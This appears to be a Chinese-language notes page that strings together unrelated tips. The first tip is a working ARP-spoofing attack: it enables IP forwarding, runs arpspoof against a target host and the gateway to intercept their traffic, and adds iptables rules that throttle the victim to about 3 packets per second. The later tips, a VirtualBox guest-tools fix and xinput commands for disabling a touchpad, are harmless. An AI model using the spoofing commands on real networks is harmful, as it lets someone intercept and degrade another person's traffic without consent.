iptables限速

开启内核数据转发

echo 1 > /proc/sys/net/ipv4/ip_forward 


使用arp欺骗目标主机

arpspoof -i eth0 -t 192.168.1.108 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1 192.168.1.108


让 192.168.1.108 到 192.168.1.1 之间的通讯全部通过自己了

使用iptables限速,使用 iptables 的 limit 匹配模块来限速. 一秒钟是能发送和接收 3 个数据包,这样速度就限制到 4k/s 了

iptables -A FORWARD -s 192.168.1.108 -m limit --limit 3/s -j ACCEPT
iptables -A FORWARD -d 192.168.1.108 -m limit --limit 3/s -j ACCEPT
iptables -A FORWARD -s 192.168.1.108 -j DROP
iptables -A FORWARD -d 192.168.1.108 -j DROP

出现这个情况吧,据说是那个VrtualBox的附加工具包不能有多份,你源里面把那个VirtualBox guest tools给删掉就行了,要安装那个附加工具包的时候,可以用官方的那个iso文件安

查看设备,找到设备ID号:

:/> xinput --list

⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)]

我的触摸板的ID号是:12

下面这条命令是用来显示这个设备有哪些可以设置的参数,第一个参数就是Device Enabled,如果设置成0就是禁用,设置成1,就是启用。

设置命令用下面这条:

~> xinput set-prop 12 "Device Enabled" 0

0代表禁用,1代表启用。还可以用如下两条:

~> xinput set-prop 12 141 0

或者用

~> xinput enable 12

enable 表示启用,disable是禁用
